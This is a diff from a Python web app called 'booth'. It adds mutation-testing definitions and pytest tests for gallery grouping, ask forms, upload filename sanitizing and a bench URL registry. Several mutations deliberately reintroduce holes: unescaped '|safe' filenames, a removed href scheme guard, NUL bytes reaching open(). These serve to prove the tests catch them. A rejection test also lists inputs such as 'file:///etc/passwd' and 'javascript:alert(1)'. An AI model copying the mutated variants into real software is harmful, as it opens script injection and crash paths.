unit = "the rail, the filters, the grid keyboard, and the groups"
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-2 sort the grid by (group, rel) so groups render contiguously"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_grouping_never_reorders_the_grid"
|
||||
old = '''
|
||||
shown = buckets[active]'''
|
||||
new = '''
|
||||
shown = sorted(buckets[active], key=lambda i: (i["group"] or "", i["name"]))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-3a drop the >=2 groups guard (a rail with one row)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_there_is_only_one_group"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 1 or sizes[len(sizes) // 2] <= 1:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-3b drop the median guard (a rail that is a second copy of the grid)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 2:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "groups derived from the FULL gallery, not the rendered list"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_groups_describe_the_filtered_grid"
|
||||
old = '''
|
||||
"groups": _groups(shown),'''
|
||||
new = '''
|
||||
"groups": _groups(gallery),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor names the group key instead of the tile id"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_every_group_anchor_lands_on_a_rendered_tile"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"group-{k}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail orders groups alphabetically instead of by first member"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
|
||||
old = '''
|
||||
for k, v in by_group.items()'''
|
||||
new = '''
|
||||
for k, v in sorted(by_group.items())'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail orders groups by count, which the docstring also claims differs"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
|
||||
old = '''
|
||||
for k, v in by_group.items()'''
|
||||
new = '''
|
||||
for k, v in sorted(by_group.items(), key=lambda kv: -len(kv[1]))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "_group_of reverts to the contract's original strip-trailing-digits rule"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_group_of_takes_the_first_segment"
|
||||
old = '''
|
||||
segs = _SEG.split(stem)
|
||||
if len(segs) == 1:
|
||||
return re.sub(r"\d+$", "", stem) or None
|
||||
return segs[0] or None'''
|
||||
new = '''
|
||||
m = re.match(r"^(.*?)[-_. ]?\d+$", stem)
|
||||
return (m.group(1) or None) if m else (stem or None)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a route body derives the group inline"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_route_body_derives_a_group"
|
||||
old = '''
|
||||
by_group: dict[str, list[dict]] = {}'''
|
||||
new = '''
|
||||
_ = _group_of # noqa
|
||||
by_group: dict[str, list[dict]] = {}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail markup is emitted with |safe"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_a_hostile_filename_cannot_break_out_of_the_rail"
|
||||
old = '''
|
||||
href="#{{ g.anchor }}">{{ g.key }} <b>{{ g.n }}</b></a>'''
|
||||
new = '''
|
||||
href="#{{ g.anchor }}">{{ g.key|safe }} <b>{{ g.n }}</b></a>'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a flat all-digit stem yields the empty string instead of None"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_navigation.py::test_a_group_key_is_never_the_empty_string"
|
||||
old = '''
|
||||
return re.sub(r"\d+$", "", stem) or None'''
|
||||
new = '''
|
||||
return re.sub(r"\d+$", "", stem)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the template renders the group row whenever there is any group at all"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
|
||||
old = '''
|
||||
{% if rail.groups %}'''
|
||||
new = '''
|
||||
{% if rail.groups is not none %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor is built from the raw name instead of the encoded url"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_anchor_survives_a_filename_that_percent_decodes"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['name']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor names the LAST member instead of the first"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_anchor_names_the_FIRST_member"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[-1]['url']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a group row over-reports its own size"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_row_reports_its_own_size"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v) + 1, "anchor": f"item-{v[0]['url']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the informativeness guard reads the LARGEST group, not the middle"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_the_informativeness_guard_reads_the_middle_not_the_largest"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 2 or sizes[-1] <= 1:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail is gated on the FILTERED list, removing the way back"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_a_filter_that_matches_nothing_leaves_a_way_back"
|
||||
old = '''
|
||||
{% elif all_items %}'''
|
||||
new = '''
|
||||
{% elif items %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the keyboard flag selector names a class nothing emits"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_the_keyboard_flag_targets_a_real_button"
|
||||
old = '''
|
||||
case 'f': click('.flagtoggle button');'''
|
||||
new = '''
|
||||
case 'f': click('.flagbtn, [name="target"]');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unrepresentable filename is let through and 500s the booth"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth"
|
||||
old = '''
|
||||
try:
|
||||
quote(rel, safe="/")
|
||||
except UnicodeEncodeError:'''
|
||||
new = '''
|
||||
try:
|
||||
pass
|
||||
except UnicodeEncodeError:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the grid cursor starts at tile 0, so an arrow undoes a group jump"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_embed_browser.py::test_an_arrow_after_a_group_jump_does_not_scroll_back"
|
||||
old = '''
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);'''
|
||||
new = '''
|
||||
case 'ArrowRight': focus(at + 1);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the link board drops its href scheme guard"
|
||||
file = "booth/links.py"
|
||||
test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href"
|
||||
old = '''
|
||||
return parts.scheme.lower() in ("http", "https")'''
|
||||
new = '''
|
||||
return True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the board delete dialog takes the raw agent-written description"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_booth.py::test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row"
|
||||
old = '''
|
||||
var d = shown(btn.getAttribute('data-desc') || '');'''
|
||||
new = '''
|
||||
var d = btn.getAttribute('data-desc') || '';'''
|
||||
|
||||
[[mutation]]
|
||||
label = "booth blur OVERRIDES per-item instead of composing"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_booth.py::test_booth_blur_composes_with_per_item_and_never_overrides_it"
|
||||
old = '''
|
||||
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),'''
|
||||
new = '''
|
||||
blurred=(booth_blur and kind in BLURRABLE_KINDS),'''
|
||||
|
||||
|
||||
[[mutation]]
|
||||
label = "an unreadable booth-blur marker reveals instead of fogging"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_booth.py::test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals"
|
||||
old = '''
|
||||
except OSError:
|
||||
return True # cannot tell -> fog it; see above'''
|
||||
new = '''
|
||||
except OSError:
|
||||
return False # cannot tell -> reveal it'''
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# Upload filenames the filesystem cannot hold, and names whose kind a cut could
|
||||
# change. Two reached open() and raised, a 500 with the booth torn down (r3
|
||||
# heid bug hunt, hulda, 2026-09-24): a NUL, and a name over NAME_MAX (255
|
||||
# BYTES) that a 200-CHARACTER cap let through. The second round (hulda) found a
|
||||
# surrogate dropped after the dot rule (`.forever`, the keep marker) and a cut
|
||||
# that manufactured `.png`. Every row is a change tests/test_booth.py claims to
|
||||
# forbid.
|
||||
|
||||
unit = "upload names the filesystem can hold"
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in an upload name reaches open() (ValueError, a 500)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_upload_a_nul_in_a_filename_never_500s"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
|
||||
new = '''
|
||||
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the NUL is stripped after the dot rule (a NUL shields a leading dot)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_drops_nul_before_the_dot_rule"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
|
||||
new = '''
|
||||
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".").replace("\x00", "") # a leading dot would hide the file from every listing'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a lone surrogate is dropped after the dot rule (`.forever`, the keep marker, comes out)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
|
||||
new = '''
|
||||
base = (name or "").replace("\x00", "")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".").encode("utf-8", "surrogatepass").decode("utf-8", "ignore") # a leading dot would hide the file from every listing'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cap counts characters, not bytes (ENAMETOOLONG, a 500)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_upload_a_name_over_name_max_in_bytes_never_500s"
|
||||
old = '''
|
||||
cut = head.encode("utf-8")[:room].decode("utf-8", "ignore") + tail'''
|
||||
new = '''
|
||||
cut = head[:room] + tail'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cut comes out of the whole name (a long .png stops being an image)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
|
||||
old = '''
|
||||
head = stem if tail else base'''
|
||||
new = '''
|
||||
head, tail = base, ""'''
|
||||
|
||||
[[mutation]]
|
||||
label = "only a 4-byte extension survives the cut (`.jpeg` is lost)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
|
||||
old = '''
|
||||
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 16 else ""'''
|
||||
new = '''
|
||||
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 4 else ""'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a cut may land on a shorter suffix and manufacture a kind (`….png` out of `….pngxxx…`)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_never_manufactures_a_kind"
|
||||
old = '''
|
||||
if (classify(cut), doc_kind(cut)) != (classify(base), doc_kind(base)):
|
||||
cut = cut.replace(".", "_")'''
|
||||
new = '''
|
||||
'''
|
||||
+71
-67
@@ -13,7 +13,7 @@ import pathlib
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from booth.app import build_gallery, create_app, list_booths
|
||||
from booth.app import EMBED_SCRIPT_TAG, build_gallery, create_app, list_booths
|
||||
from booth.asks import (
|
||||
ANSWER_SUFFIX,
|
||||
ASK_SUFFIX,
|
||||
@@ -410,32 +410,37 @@ def test_declare_pick_accepts_a_full_multi_doc(tmp_path):
|
||||
# into the verbatim page plus a standalone /asks page that carries the forms.
|
||||
|
||||
|
||||
def test_verbatim_booth_renders_the_ask_inline(client):
|
||||
def test_verbatim_booth_offers_the_ask_over_the_seam(client):
|
||||
"""U3: the report is served as written and the ask crosses the declared seam.
|
||||
Before U3 the fragments were substituted into the page body by regex; the
|
||||
guarantee that the ask is reachable FROM THE REPORT, not from another page,
|
||||
is unchanged — it is the delivery that moved."""
|
||||
c, data = client
|
||||
b = _ask(data / "b")
|
||||
(b / "index.html").write_text("<!doctype html><title>report</title><body>hi</body>")
|
||||
html = c.get("/b/b/").text
|
||||
assert "hi" in html # the report is still served verbatim
|
||||
assert "Which render wins?" in html # ...with the ask ON it, not elsewhere
|
||||
assert 'type="radio"' in html and 'action="/b/b/answer"' in html
|
||||
assert "bk-ask" in html # self-contained fragment styles
|
||||
assert "booth-nav-asks" in html # chip remains, as a jump link
|
||||
assert "#bk-ask-winner-top" in html
|
||||
assert "Which render wins?" not in html # ...and NOTHING was injected into it
|
||||
assert html.endswith(EMBED_SCRIPT_TAG)
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert "Which render wins?" in m["whole"]
|
||||
assert 'type="radio"' in m["whole"] and 'action="/b/b/answer"' in m["submit"]
|
||||
|
||||
|
||||
def test_verbatim_chip_disappears_once_answered(client):
|
||||
c, data = client
|
||||
b = _ask(data / "b")
|
||||
(b / "index.html").write_text("<!doctype html><body>hi</body>")
|
||||
assert c.get("/b/b/embed.json").json()["open"] == ["winner"]
|
||||
answer_pick(b, "winner", "A — baseline")
|
||||
assert "booth-nav-asks" not in c.get("/b/b/").text
|
||||
assert c.get("/b/b/embed.json").json()["open"] == []
|
||||
|
||||
|
||||
def test_verbatim_booth_without_asks_is_untouched(client):
|
||||
c, data = client
|
||||
(data / "b").mkdir()
|
||||
(data / "b" / "index.html").write_text("<!doctype html><body>hi</body>")
|
||||
assert "booth-nav-asks" not in c.get("/b/b/").text
|
||||
assert c.get("/b/b/embed.json").json()["marks"] == []
|
||||
|
||||
|
||||
def test_asks_page_renders_forms_and_answers_back_to_itself(client):
|
||||
@@ -477,42 +482,64 @@ def test_asks_page_shows_a_single_ask_title(client):
|
||||
assert "emmie — pick the anchor" in c.get("/b/b/marks").text
|
||||
|
||||
|
||||
# ---- inline placement in a verbatim report -----------------------------------
|
||||
# ---- placement in a verbatim report ------------------------------------------
|
||||
#
|
||||
# Operator verdict 2026-09-09 on the separate /asks page: "the asks should be
|
||||
# inline with the artifacts, not on a separate page." A four-voice audition wants
|
||||
# each voice's radio group under that voice's audio, and one submit for the lot.
|
||||
|
||||
#
|
||||
# U3 kept the semantics and moved the mechanism. The author still marks up where
|
||||
# each piece goes; the pieces are still rendered by the `_ask_inline.html`
|
||||
# macros; they now reach the page through `/b/<name>/embed.json` and are mounted
|
||||
# by `/_booth/embed.js` instead of substituted into the author's tags by regex.
|
||||
#
|
||||
# So the placement ASSERTIONS moved too, and where each half lives is not
|
||||
# arbitrary: what the server offers is checked here, in Python; where it LANDS,
|
||||
# and whether a form scattered down a report actually submits, is checked in
|
||||
# tests/test_embed_browser.py against a real DOM. No string assertion can see
|
||||
# the second thing, and that is exactly the part the operator depends on.
|
||||
|
||||
REPORT = """<!doctype html><title>audition</title><body>
|
||||
<h1>Three voices</h1>
|
||||
<section id="lawson"><audio src="a.wav"></audio>
|
||||
<div data-booth-ask="batch:r1"></div></section>
|
||||
<section id="jo"><audio src="b.wav"></audio>
|
||||
<!-- booth:ask batch:r2 --></section>
|
||||
<div data-booth-mark="batch:r2"></div></section>
|
||||
<div data-booth-ask-submit="batch"></div>
|
||||
<script src="/_booth/embed.js" defer></script>
|
||||
</body>"""
|
||||
|
||||
|
||||
def test_per_question_placeholders_land_where_the_author_put_them(client):
|
||||
def test_the_author_markup_is_never_touched_by_the_server(client):
|
||||
"""The whole point of the seam. A page that declares it comes back exactly
|
||||
as written — placeholders still empty, waiting for the DOM."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(b / "index.html").write_text(REPORT)
|
||||
html = c.get("/b/b/").text
|
||||
# each group is inside its own section, in document order
|
||||
lawson = html.index('id="lawson"')
|
||||
jo = html.index('id="jo"')
|
||||
assert lawson < html.index('name="choice.r1"') < jo
|
||||
assert jo < html.index('name="choice.r2"')
|
||||
# one shared form, bound by the HTML5 form= attribute, submitted once
|
||||
assert html.count('<form id="bk-ask-form-batch"') == 1
|
||||
assert html.count('action="/b/b/answer"') == 1
|
||||
assert html.count('form="bk-ask-form-batch"') >= 4
|
||||
# the submit block landed at its own placeholder, not appended after </body>
|
||||
assert html.index("bk-ask-form-batch") < html.index("</body>")
|
||||
assert c.get("/b/b/").text == REPORT
|
||||
|
||||
|
||||
def test_inline_form_submits_every_question_in_one_post(client):
|
||||
def test_every_piece_the_author_can_place_is_offered(client):
|
||||
"""One fragment per addressable piece: the whole ask, each question, and the
|
||||
submit block that carries the shared <form>. The author's markup decides
|
||||
which are used; the payload never decides for them."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert [q["key"] for q in m["questions"]] == ["r1", "r2"]
|
||||
assert 'name="choice.r1"' in m["questions"][0]["html"]
|
||||
assert 'name="choice.r2"' in m["questions"][1]["html"]
|
||||
# ONE form, and it lives with the submit block, so question groups scattered
|
||||
# down a report bind to it by id from wherever they sit.
|
||||
assert m["submit"].count('<form id="bk-ask-form-batch"') == 1
|
||||
assert m["submit"].count('action="/b/b/answer"') == 1
|
||||
assert 'form="bk-ask-form-batch"' in m["questions"][0]["html"]
|
||||
assert 'form="bk-ask-form-batch"' in m["questions"][1]["html"]
|
||||
|
||||
|
||||
def test_a_scattered_form_still_posts_as_one_answer(client):
|
||||
"""The POST half of the multi-question guarantee, which U3 did not touch:
|
||||
every question in one request, or the route refuses it."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(b / "index.html").write_text(REPORT)
|
||||
@@ -521,44 +548,21 @@ def test_inline_form_submits_every_question_in_one_post(client):
|
||||
assert r.status_code == 303
|
||||
ans = _answer_of(b, "batch")
|
||||
assert ans["answers"]["r1"]["choice"] == "keep" and ans["answers"]["r2"]["choice"] == "d"
|
||||
# and the recorded pick now shows inline, on the report itself
|
||||
html = c.get("/b/b/").text
|
||||
assert "recorded:" in html and "bk-done" in html
|
||||
assert 'value="keep" required checked' in html.replace("\n", " ") or "checked" in html
|
||||
# and the recorded pick comes back marked answered, on the report's own seam
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert "recorded:" in m["whole"] and "bk-done" in m["whole"]
|
||||
assert "checked" in m["questions"][0]["html"]
|
||||
|
||||
|
||||
def test_whole_ask_placeholder_renders_everything_there(client):
|
||||
c, data = client
|
||||
b = _ask(data / "b")
|
||||
(b / "index.html").write_text('<!doctype html><body><p>x</p><div data-booth-ask="winner"></div></body>')
|
||||
html = c.get("/b/b/").text
|
||||
assert html.index("Which render wins?") > html.index("<p>x</p>")
|
||||
assert html.index("bk-ask-go") < html.index("</body>") # submit placed inline too
|
||||
|
||||
|
||||
def test_placeholder_for_a_missing_ask_is_left_alone(client):
|
||||
c, data = client
|
||||
b = _ask(data / "b")
|
||||
(b / "index.html").write_text('<!doctype html><body><div data-booth-ask="typo"></div></body>')
|
||||
html = c.get("/b/b/").text
|
||||
assert 'data-booth-ask="typo"' in html # author's markup untouched, not blanked
|
||||
assert "Which render wins?" in html # the real ask still appended, never lost
|
||||
|
||||
|
||||
def test_questions_placed_without_a_submit_still_get_one(client):
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(b / "index.html").write_text('<!doctype html><body><div data-booth-ask="batch:r1"></div></body>')
|
||||
html = c.get("/b/b/").text
|
||||
assert html.count('<form id="bk-ask-form-batch"') == 1 # appended, so it is submittable
|
||||
assert 'name="choice.r2"' in html # r2 unplaced -> must still appear
|
||||
|
||||
|
||||
def test_styles_are_emitted_once(client):
|
||||
def test_the_page_carries_no_fragment_styles(client):
|
||||
"""`styles()` is gone from the template: the scoped `.bk-ask-*` rules live in
|
||||
embed.js, next to the code that mounts them. One asset, emitted once by
|
||||
construction rather than by a seen-set."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(b / "index.html").write_text(REPORT)
|
||||
assert c.get("/b/b/").text.count(".bk-ask-opt:has(input:checked)") == 1
|
||||
assert ".bk-ask-opt:has(input:checked)" not in c.get("/b/b/").text
|
||||
assert c.get("/_booth/embed.js").text.count(".bk-ask-opt:has(input:checked)") == 1
|
||||
|
||||
|
||||
def test_radios_are_not_html_required_anywhere(client):
|
||||
@@ -566,20 +570,20 @@ def test_radios_are_not_html_required_anywhere(client):
|
||||
is exactly what stopped the operator leaving one blank."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
assert "required" not in c.get("/b/b/").text
|
||||
(b / "index.html").write_text('<!doctype html><body><div data-booth-ask="batch"></div></body>')
|
||||
assert "required" not in c.get("/b/b/").text
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert "required" not in m["whole"]
|
||||
assert not any("required" in q["html"] for q in m["questions"])
|
||||
assert "required" not in c.get("/b/b/marks").text
|
||||
|
||||
|
||||
def test_partial_answer_renders_as_skipped_inline(client):
|
||||
def test_partial_answer_renders_as_skipped(client):
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
(b / "index.html").write_text('<!doctype html><body><div data-booth-ask="batch"></div></body>')
|
||||
(b / "index.html").write_text(REPORT)
|
||||
c.post("/b/b/answer", data={"ask": "batch", "choice.r1": "keep"})
|
||||
html = c.get("/b/b/").text
|
||||
assert "bk-skip" in html and "left blank" in html
|
||||
assert "1 of 2 answered" in html
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert "bk-skip" in m["whole"] and "left blank" in m["whole"]
|
||||
assert "1 of 2 answered" in m["submit"]
|
||||
|
||||
|
||||
def test_empty_submission_is_refused_with_400(client):
|
||||
|
||||
@@ -0,0 +1,889 @@
|
||||
"""U6 — benches: a running thing, registered.
|
||||
|
||||
The contract is docs/contracts/u6_benches.contract.md. Every test here names
|
||||
the invariant it falsifies, and each is written to go RED under the change that
|
||||
defeats that invariant — not merely to assert the outcome the author had in
|
||||
mind. (The U4 round shipped seven falsifiers of which five stayed green under
|
||||
the very change they forbade; see persistent-memory.d/2026-09-22-vacuous-falsifiers.md.)
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ast
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.benches import ( # noqa: E402
|
||||
BENCHES_FILE,
|
||||
BENCH_STATES,
|
||||
Bench,
|
||||
normalize_bench_url,
|
||||
order_benches,
|
||||
read_benches,
|
||||
remove_bench,
|
||||
set_bench_state,
|
||||
upsert_bench,
|
||||
)
|
||||
from booth.links import booth_target # noqa: E402
|
||||
|
||||
|
||||
# ---- INV-6: the identity collapses a re-post and NOTHING else ---------------
|
||||
#
|
||||
# Both directions from ONE fixture. A test that only checked the talk collapse
|
||||
# would pass under origin normalization, which is the measurably wrong rule:
|
||||
# on the live board it merges eight distinct gitea repositories into one row.
|
||||
|
||||
# Measured on the live board, 2026-09-22.
|
||||
GITEA_EIGHT = [
|
||||
"https://gitea.phasefinal.com/vh/bifrost/issues/17",
|
||||
"https://gitea.phasefinal.com/vh/brokkr-smithy/src/commit/6adcde6/research/landscape-scans/open-weight-releases-2026-09-15.md",
|
||||
"https://gitea.phasefinal.com/vh/cicada",
|
||||
"https://gitea.phasefinal.com/vh/draupnir",
|
||||
"https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.0",
|
||||
"https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.1",
|
||||
"https://gitea.phasefinal.com/vh/peedlar",
|
||||
"https://gitea.phasefinal.com/vh/peedlar/releases/tag/v0.3.0",
|
||||
]
|
||||
TALK_FIVE = ["https://talk.nh3.phasefinal.com:8092/"] * 5
|
||||
|
||||
|
||||
def test_eight_distinct_repos_stay_eight(tmp_path):
|
||||
"""INV-6, the direction origin-normalization gets WRONG. Defeating change:
|
||||
normalizing to scheme://host:port. This goes red under it; the collapse
|
||||
test below does not."""
|
||||
for i, u in enumerate(GITEA_EIGHT):
|
||||
upsert_bench(tmp_path, u, f"repo {i}", "vh")
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err is None
|
||||
assert len(benches) == 8, [b.id for b in benches]
|
||||
|
||||
|
||||
def test_five_reposts_of_one_bench_collapse(tmp_path):
|
||||
"""INV-6, the direction the IA doc names. `talk` is on the live board five
|
||||
times; the registry must hold one row, carrying the LAST name."""
|
||||
for i, u in enumerate(TALK_FIVE):
|
||||
_, created = upsert_bench(tmp_path, u, f"talk v{i}", "nh3-dev")
|
||||
assert created is (i == 0)
|
||||
benches, _ = read_benches(tmp_path)
|
||||
assert len(benches) == 1
|
||||
assert benches[0].name == "talk v4"
|
||||
|
||||
|
||||
def test_two_lrpg_surfaces_on_one_origin_stay_two(tmp_path):
|
||||
"""INV-6. The IA doc's OWN example of two real benches shares an origin."""
|
||||
upsert_bench(tmp_path, "http://10.100.10.50:8321/Authoring%20Studio.dc.html", "authoring", "ldp-dev")
|
||||
upsert_bench(tmp_path, "http://10.100.10.50:8321/GM%20Playback.dc.html", "gm", "ldp-dev")
|
||||
assert len(read_benches(tmp_path)[0]) == 2
|
||||
|
||||
|
||||
def test_query_is_part_of_the_identity(tmp_path):
|
||||
"""INV-6. Three ShutterChute rows differ ONLY by `?token=`; they are three
|
||||
links, not one bench posted three times. Defeating change: dropping query."""
|
||||
base = "http://10.100.10.50:8477/?token="
|
||||
for tok in ("aaa", "bbb", "ccc"):
|
||||
upsert_bench(tmp_path, base + tok, "shutterchute", "nh3-dev")
|
||||
assert len(read_benches(tmp_path)[0]) == 3
|
||||
|
||||
|
||||
@pytest.mark.parametrize("a,b", [
|
||||
("http://x.test/", "http://X.TEST"), # host case + bare-slash path
|
||||
("http://x.test:80/p", "http://x.test/p"), # default port
|
||||
("https://x.test:443/p", "https://x.test/p"),
|
||||
("http://x.test/p#frag", "http://x.test/p"), # fragment dropped
|
||||
(" http://x.test/p ", "http://x.test/p"), # whitespace
|
||||
("http://[::1]:80/a", "http://[::1]/a"), # default port, bracketed
|
||||
("http://[::1]/A", "http://[::1]/A"), # bracket round-trips
|
||||
])
|
||||
def test_these_pairs_are_one_bench(a, b):
|
||||
"""INV-6. Each pair is the SAME resource reached two ways."""
|
||||
assert normalize_bench_url(a) == normalize_bench_url(b)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("a,b", [
|
||||
("http://x.test/p", "http://x.test/p/"), # trailing slash on a REAL path
|
||||
("http://x.test/p", "http://x.test/P"), # path case
|
||||
("http://x.test/?a=1&b=2", "http://x.test/?b=2&a=1"), # query order is opaque
|
||||
("http://x.test:8092/", "https://x.test:8092/"), # scheme
|
||||
# A NON-DEFAULT PORT IS PART OF THE IDENTITY. Without this vector, "always
|
||||
# omit the port" passes every other row in this file — caught by the cold
|
||||
# panel's per-invariant "what would still pass" pass, not by us.
|
||||
("http://x.test:8092/p", "http://x.test/p"),
|
||||
("https://x.test:8443/p", "https://x.test/p"),
|
||||
])
|
||||
def test_these_pairs_are_two_benches(a, b):
|
||||
"""INV-6, the other direction. Each pair MAY be two different resources, and
|
||||
the registry must not decide otherwise on the operator's behalf."""
|
||||
assert normalize_bench_url(a) != normalize_bench_url(b)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("bad", [
|
||||
"", " ", "not a url", "ftp://x.test/f", "file:///etc/passwd",
|
||||
"http://", "https:///path", "//x.test/p", "javascript:alert(1)",
|
||||
])
|
||||
